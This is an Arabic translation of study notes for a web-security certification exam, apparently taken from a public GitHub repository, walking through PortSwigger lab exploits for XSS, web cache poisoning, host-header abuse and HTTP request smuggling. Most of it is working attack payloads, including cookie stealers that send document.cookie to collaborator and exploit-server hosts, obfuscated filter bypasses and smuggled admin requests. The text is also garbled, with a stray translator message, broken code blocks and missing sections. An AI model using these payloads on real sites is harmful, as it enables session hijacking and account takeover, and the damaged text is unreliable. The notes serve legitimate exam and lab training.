>طلب XInclude خارج النطاق، نحتاج إلى DTD مستضاف لقراءة الملف المحلي.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

>قم بترميز الأحرف المفتاحية بصيغة URL.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>استخدم كوكي مستخدم المسؤول للوصول إلى لوحة الإدارة عن طريق استبداله في جلسة المتصفح الحالية.  

[مختبر PortSwigger: فحص هياكل البيانات غير القياسية](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# موطئ قدم  
  
# اكتشاف المحتوى  

>يبدأ تعداد الهدف باختبار Fuzzing لأدلة وملفات الويب. يمكنك إما استخدام أدوات Burp engagement أو خيار اكتشاف المحتوى للعثور على المسارات والملفات المخفية، أو استخدام `FFUF` لتعداد أدلة وملفات الويب. كما أن الاطلاع على `robots.txt` أو `sitemap.xml` قد يكشف عن محتوى.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[مختبر PortSwigger: الإفصاح عن المعلومات في سجل التحكم بالإصدارات](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>افتح دائمًا `source code` للبحث عن أي تعليقات للمطورين تكشف عن ملفات أو مسارات مخفية. المثال أدناه يؤدي إلى [إلغاء تسلسل رمز symphony](#deserialization).  

![DEV code debug comment deserial](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## XSS القائم على DOM  

[مؤشرات XSS في DOM](#identify-dom-xss)  
[XSS في DOM المحدد باستخدام DOM Invader](#dom-invader)  
[XSS في DOM عبر AngularJS](#vuln-angularjs)  
[XSS في DOM عبر document.write في select](#doc-write-location-search)  
[XSS في DOM عبر رسائل الويب JSON.parse](#dom-xss-jsonparse-web-messages)  
[XSS في DOM عبر AddEventListener لعنوان JavaScript](#dom-xss-addeventlistener-javascript-url)  
[XSS في DOM عبر AddEventListener لرسالة الإعلانات](#dom-xss-addeventlistener-ads-message)  
[XSS في DOM عبر Eval لسارق الكوكيز المنعكس](#reflected-dom-xss)  
[XSS في DOM عبر كوكيز LastviewedProduct](#dom-xss-lastviewedproduct-cookie)  

### تحديد XSS في DOM  

>تنشأ ثغرات XSS القائمة على DOM عندما تأخذ JavaScript بيانات من مصدر يمكن للمهاجم التحكم فيه، مثل عنوان URL، وتمرر الكود إلى نقطة استقبال (sink) تدعم تنفيذ الكود ديناميكيًا.  
>اختبر الأحرف التي تتيح الهروب من نقطة حقن `source code` باستخدام سلسلة الفازر أدناه.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

>[حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) باستخدام `on.constructor` التي يمكن وضعها في iframe، واستضافتها على خادم استغلال، مما يؤدي إلى إرسال ملف تعريف ارتباط جلسة الضحية إلى Burp Collaborator.  
>[ورقة الغش من PortSwigger لمرجع البرمجة النصية عبر المواقع](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) في نقطة استقبال (sink) عبر `document.write` باستخدام المصدر `location.search` داخل عنصر `<select>`. يمكن إرسال ذلك إلى الضحية عبر خادم الاستغلال داخل `

![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[مختبر PortSwigger: DOM XSS باستخدام web messages و JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>استخدم DOM Invader لتحديد واختبار DOM XSS باستخدام web messages  

![DOM Invader يحدد web messages](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>أعد تشغيل post message باستخدام DOM Invader بعد تعديل بيانات JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

بمجرد تحديث ملف تعريف الارتباط الخاص بالضحية، يلتقط سجل خادم الاستغلال قيمة ملف تعريف الارتباط السري الخاص بهم.  

>بمساعدة كبيرة من ***ShehmeerAbidRajput***، قمت بتحديث هذا المختبر مع الحمولة الخاصة بسرقة ملفات تعريف الارتباط التي قدمها.  

[مختبر PortSwigger: التلاعب بملفات تعريف الارتباط المستند إلى DOM](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## البرمجة النصية عبر المواقع  

[موارد XSS](#xss-resources)  
[تحديد العلامات المسموح بها](#identify-allowed-tags)  
[تجاوز العلامات المحظورة](#bypass-blocked-tags)  
[XSS تعيين البروتوكول](#xss-assign-protocol)  
[العلامات المخصصة غير المحظورة](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[XSS السلسلة المنعكسة](#reflected-string-xss)  
[سلسلة منعكسة بهروب إضافي](#reflected-string-extra-escape)  
[AngularJS هروب من صندوق الحماية](#angularjs-sandbox-escape)  
[XSS القالب الحرفي](#xss-template-literal)  
[XSS عبر JSON إلى EVAL](#xss-via-json-into-eval)  
[XSS المخزن](#stored-xss)  
[XSS المخزن في DOM](#stored-dom-xss)  
[XSS في رفع SVG](#xss-svg-upload)  
  
### موارد XSS  

>صفحات موارد XSS للبحث عن الحمولات الخاصة بـ **العلامات** و**الأحداث**.   

+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [ملاحظات دراسة HackTheBox CPTS حول XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>أداة CSP Evaluator للتحقق من وجود سياسة أمان المحتوى للتخفيف من هجمات XSS. على سبيل المثال، إذا كانت السمة `base-uri` مفقودة، فإن هذه الثغرة ستسمح للمهاجم باستخدام طريقة الاستغلال البديلة الموضحة في [ترقية XSS الذاتي المخزن](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>عندما يكون الحد الأقصى لطول حقل الإدخال 23 حرفًا فقط، استخدم هذا المورد للحصول على **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>قم بتعيين ملف تعريف ارتباط اختباري غير آمن في المتصفح باستخدام وحدة تحكم أدوات تطوير المتصفح لاستخدامه أثناء اختبارات POC XSS [حمولات سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

[No content provided in the INPUT section. Please provide the Markdown text to translate.]```html
"><svg><animatetransform onbegin=alert(1)>

>قد يؤدي إرسال الحمولات أعلاه إلى رسالة رد، ***"الوسم غير مسموح به"*** بسبب قيام جدار حماية تطبيقات الويب (WAF) بحظر الحقن.
>ثم ***حدد*** الوسوم المسموح بها باستخدام [منهجية PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>أدوات عبر الإنترنت لترميز وفك ترميز URL وBase64  

+ [فك ترميز URL وترميزه](https://www.urldecoder.org/)  
+ [فك ترميز BASE64 وترميزه](https://www.base64encode.org/)  

>يوفر هذا المختبر **منهجية** رائعة لـ ***تحديد*** وسوم HTML والأحداث المسموح بها لصياغة POC XSS.  

>استضف كود **iframe** على خادم الاستغلال وسلّم رابط الاستغلال إلى الضحية.```html

>ضع الحمولة أعلاه على خادم الاستغلال وأدخل عنوان URL مع قيمة البحث في ```iframe``` قبل تسليمها إلى الضحية في كتلة التعليمات البرمجية أدناه.```html

![موقع بروتوكول XSS](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[مختبر PortSwigger: XSS المنعكسة في سياق HTML بدون ترميز](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### الوسوم المخصصة غير محظورة  
  
>يستجيب التطبيق برسالة ***"Tag is not allowed"*** عند محاولة إدراج حمولات XSS، لكن إذا أنشأنا وسمًا مخصصًا، يتم تجاوز الحظر.```html
<xss+id=x>#x';

>**ملاحظة:** الوسم المخصص بالمعرّف ```x```، والذي يحتوي على معالج حدث **onfocus** يُطلق دالة ```document.location```. حرف **HASH** `#` في نهاية عنوان URL يُركّز على هذا العنصر فور تحميل الصفحة، مما يؤدي إلى استدعاء الحمولة. استضف سكربت الحمولة على خادم الاستغلال داخل وسمي ```script```، وأرسله إلى الضحية. فيما يلي نفس الحمولة ولكن بصيغة **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

>ملاحظة: إذا كان ملف تعريف الارتباط آمنًا مع تفعيل علامة **HttpOnly**، فلا يمكن سرقته باستخدام XSS.  

>حمولة PortSwigger Lab تنفذ الطباعة.```JavaScript

>تغيير الحمولة إلى أداة سرقة الكوكيز التي تسلّم رمز الجلسة إلى Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

>خادم استغلال يستضيف مصطلح بحث يعكس ثغرةً تُرسل إلى الضحية للحصول على ملف تعريف ارتباط الجلسة الخاص بها.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

>باستخدام **شرطة مائلة عكسية** واحدة وعلامة اقتباس مفردة و**فاصلة منقوطة**، نهرب من متغير السلسلة النصية في JavaScript، ثم باستخدام علامات backticks لإحاطة المسار ```document.location```، نسمح لأداة سرقة الكوكيز بتجاوز حماية التطبيق.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

>حمولة Collaborator ***سارق ملفات تعريف الارتباط***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

>سكربت Python لتحويل أي حمولة إلى قيم عشرية ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>شكرًا لـ ***Adrián Gyurácz***، لتقديمه تجاوزًا رائعًا، حيث فشلت في الحصول على أداة سرقة كوكيز تتجاوز جميع الفلاتر لهذا المختبر.  

>وجد ***Adrián Gyurácz*** المقال البحثي التالي من Portswigger والذي قاد إلى الحل:  
[تجاوز قوائم حظر الأحرف باستخدام تجاوزات Unicode](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### بناءً على ما سبق، حمولته:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

[secjuice: تجاوز فلاتر XSS باستخدام المتغيرات العامة في JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)

> فيما يلي [حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) الرئيسية قبل ترميزها بـ BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

>اختبر الحمولة على كوكي الجلسة الخاص بنا في وظيفة البحث.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

>استضافة `IFRAME` على خادم الاستغلال، تعطي رسالة **خطأ** تفيد برفض الاتصال بالهدف. بدلاً من ذلك، استضف الحمولة على خادم الاستغلال بين وسمي `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

> تسجل الإدخالات أدناه الطلبات المرسلة إلى خادم الاستغلال، ومن السجلات يمكننا ***تحديد*** أن `/img` و `/video` من الوسوم أعلاه كانا مسموحين في التطبيق وأحدثا طلبات عند الوصول إليهما.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

> تم حفظ البرمجة النصية عبر المواقع في تعليق مشاركة المدونة. تعمل هذه الحمولة المسرقة لملفات تعريف الارتباط (Cookie Stealer) على إرسال كوكي الجلسة الخاصة بالضحية إلى سجلات خادم الاستغلال.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

#### منشور مدونة XSS المخزّن  

>منشور مدونة حول XSS المخزّن يسرق الكوكيز ويرسل كوكيز المستند (document cookie) إلى خادم الاستغلال.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

>[IPPSEC YouTube باستخدام HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737)، حيث يعرض كود JavaScript الخاص بـ `payload.js` وكيف يستخدم `fetch` ويتعلم JavaScript.  

[PortSwigger Lab: استغلال Cross-Site Scripting لسرقة الكوكيز](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  

#### ترقية stored self-XSS  

>تعليق على مدونة يحتوي على **Stored self-XSS**، مع ترقية الحمولة لسرقة معلومات الضحية من DOM. الدالة **edit content** تعكس الإدخال داخل وسم `<script>`. رمز CSRF لوظيفة **write comment** هو نفسه الخاص بوظيفة **edit content**. الحمولة أدناه تستخدم وظيفة **write comment** لجعل الضحية ينشئ إدخال مدونة في مدونته الخاصة بمحتوى خبيث لدينا.
>الحرف `a` يُضاف للهروب من رمز `#` الموجود في `source code` الأصلي للتطبيق.
>إن `source code` أدناه في إدخال المدونة هو استغلال كامل لسرقة معلومات الضحية.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

>تسليم الاستغلال، عبر إرسال رابط يشير إلى إدخال المدونة أعلاه إلى الضحية سيؤدي إلى تشغيل XSS بصلاحياته.

[intigriti - ترقية Self-XSS - حل تحدي XSS ليوم 22 ديسمبر](https://youtu.be/FowbZ8IlU7o)

>استغلال بديل باستخدام حقن HTML في صفحة إدخال تحرير المحتوى بالمدونة، ***تم تحديده*** باستخدام [فحص موارد CSP الخاصة بـ XSS](#xss-resources).```
<base href="https://Exploit.net">

> الحمولة المعدّلة لمختبر PortSwigger تُسند دالة `document.location` إلى المتغير `defaultAvatar` في المرة التالية التي تُحمَّل فيها الصفحة، لأن الموقع يستخدم DOMPurify الذي يسمح باستخدام بروتوكول `cid:` الذي لا يرمّز علامات الاقتباس المزدوجة عبر URLencode.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

>الحمولة أعلاه تُخزَّن، وأي مستخدم يزور مدونة التعليقات سيؤدي إلى سرقة ملف تعريف الارتباط الخاص بجلسته وإرساله إلى Collaborator.  

![تعليقات JSON المخزّنة لـ DOM-XSS](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>حمولة مختبر PortSwigger: `<>`.  

[مختبر PortSwigger: DOM XSS المخزّن](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## تسميم ذاكرة التخزين المؤقت للويب  

[ترويسة غير محسوبة في المفتاح](#unkeyed-header)  
[معامل Utm_content غير المحسوب في المفتاح](#unkeyed-utm_content)  
[إخفاء معامل utm_content](#cloaking-utm_content)  
[تسميم الطلب المُلتبس](#poison-ambiguous-request)  
[تسميم ذاكرة التخزين المؤقت عبر رؤوس متعددة](#cache-poison-multiple-headers)  

### ترويسة غير محسوبة في المفتاح  

>الهدف يستخدم JavaScript الخاص بـ **tracking.js**،  
>وهو عرضة لترويسة **```X-Forwarded-Host```** أو **```X-Host```** التي تعيد توجيه المسار،  
>مما يسمح بسرقة ملف تعريف الارتباط عن طريق تسميم ذاكرة التخزين المؤقت.  

>***حدد*** ترويسات ذاكرة التخزين المؤقت للويب في الاستجابة وسكربت tracking.js في كود مصدر الصفحة.  
>استغل الثغرة باستضافة JavaScript وحقن الترويسة لتسميم ذاكرة التخزين المؤقت للهدف لإعادة توجيه ضحية تزور الموقع.  

![مراجعة `source code` للتتبع](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>يقوم النص البرمجي بإرسال ملف تعريف الارتباط الخاص بالجلسة إلى خدمة التعاون.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

>يتم تخزين الحمولة أعلاه في الكاش، ويتم إرسال كوكي الضحية الذي يزور الهدف إلى Burp Collaborator.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت عبر معامل استعلام غير مفتاحي](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### إخفاء utm_content  

>إضافة Param Miner التي تقوم بعمل `Bulk scan > Rails parameter cloaking scan` ستقوم ***بتحديد*** الثغرة تلقائيًا. يدويًا يمكن تحديدها بإضافة `;` لإلحاق معامل إضافي بـ `utm_content`، حيث يتعامل الكاش مع هذا كمعامل واحد. هذا يعني أن المعامل الإضافي يُستبعد أيضًا من مفتاح الكاش.  
>يتم استدعاء `الكود المصدري` الخاص بـ `/js/geolocate.js?callback=setCountryCookie` في كل صفحة وتنفيذ دالة الاستدعاء.  

>معامل `callback` هو معامل مفتاحي (keyed)، وبالتالي لا يمكن تسميم الكاش لمستخدم الضحية، ولكن من خلال دمج معامل مكرر مع `utm_content` فإنه يُستبعد ويمكن تسميم الكاش.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

>فيما يلي حمولة [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

>على خادم الاستغلال، ضع ملفًا بنفس المسار الذي يستدعيه الهدف إلى ```/resources/js/tracking.js```، سيحتوي هذا على الحمولة. ضع كود الحمولة بـ JavaScript أدناه لإنشاء سارق ملفات تعريف الارتباط.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

![x-forwarded-scheme ليس https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>على خادم الاستغلال، غيّر مسار الملف إلى `/resources/js/tracking.js`  
>ثم حدّث ترويسة طلب التسميم `X-Forwarded-Host: EXPLOIT.net`.  
>ضع الحمولة في جسم خادم الاستغلال.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

>الدالة التي يتم استدعاؤها في الاستجابة عن طريق تمرير معامل استدعاء مكرر تنعكس. لاحظ في الاستجابة أن مفتاح التخزين المؤقت لا يزال مشتقًا من معامل الاستدعاء الأصلي في سطر طلب GET.

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)

>غير قادر على جعل حمولة سرقة الكوكيز تعمل......

[مختبر PortSwigger: تسميم ذاكرة التخزين المؤقت للويب عبر طلب GET بحمولة](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

-----

## ترويسات المضيف

[انتحال عنوان IP](#spoof-ip-address)
[حالة اتصال المضيف](#host-connection-state)
[SSRF القائم على توجيه المضيف](#host-routing-based-ssrf)
[SSRF عبر تحليل طلب المضيف المعيب](#absolute-get-url--host-ssrf)

### انتحال عنوان IP

>***تعرّف*** على أن ترويسات المضيف المعدّلة مدعومة،  
>وهو ما يسمح لك بانتحال عنوان IP وتجاوز حماية القوة الغاشمة القائمة على IP  
>أو هجمات إعادة التوجيه للقيام بتسميم ***إعادة تعيين كلمة المرور***.

>قم بتضمين ترويسات `X- ` أدناه وغيّر معامل اسم المستخدم في طلب إعادة تعيين كلمة المرور إلى `Carlos` قبل إرسال الطلب.  
>في اختبار BSCP، إذا استخدمت هذا الاستغلال فهذا يعني أنك لم تستخدم ثغرة تتطلب تفاعل المستخدم وتسمح لك باستخدام ثغرة تفاعلية للوصول إلى المرحلة 3 كمسؤول باستخدام وظيفة خادم الاستغلال `Deliver exploit to victim`.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

>الطلب التالي هو التبويب الثاني في تسلسل مجموعة الطلبات.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

>يمكن حث بعض الخوادم التي تدعم ترويسة `Transfer-Encoding` على عدم معالجتها إذا كانت الترويسة **مبهمة** بطريقة ما.  

>من قائمة Repeater تأكد من أن خيار **"Update Content-Length"** غير محدد.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

>حساب طول طلب تهريب TE.CL (Transfer-Encoding / Content-Length) بصيغة **HEXADECIMAL**، والحمولة تقع بين الطول السداسي العشري **71** وعلامة **ZERO** الختامية، دون تضمين ZERO وبدون `<CRLF>` السابق في السطر الذي يعلو ZERO كجزء من الطول. يتم تعيين **content-length** لطلب POST الأولي يدويًا.

![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)

>عند إرسال `/admin/delete?username=carlos` لحذف المستخدم، يتغير طول ترميز النقل (transfer encoding) من `71` إلى القيمة السداسية العشرية `88` لتضمين حجم الطلب المُهرَّب الإضافي.

[PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)

### CL.TE متعدد الحالات - Admin محظور

>عند محاولة الوصول إلى مسار URL الخاص ببوابة `/admin`، نحصل على رسالة التصفية `Path /admin is blocked`. يحدد ماسح HTTP Request Smuggler ***الضعف*** على أنه `CL.TE multiCase (delayed response)`.

>للوصول إلى لوحة الإدارة، أرسل الطلب أدناه مرتين، مع إضافة الترويسة الثانية ```Content-Length: 10``` لمنع تعارض رأس HOST مع الطلب الأول.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

![استغلال تهريب طلبات HTTP بقيمة content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>لا يوجد سطر جديد في نهاية طلب POST المُهرَّب أعلاه^^.  

>انظر إلى **منشور** المدونة لمعرفة ما إذا كان هناك تعليق يحتوي على طلب مستخدم. لاحظ أن الهجوم لن ينجح إلا بعد أن يتصفح المستخدم الضحية موقع الهدف. انسخ ترويسة Cookie الخاصة بالمستخدم من تعليق منشور المدونة، واستخدم الكوكي للوصول إلى حساب الضحية.  
  
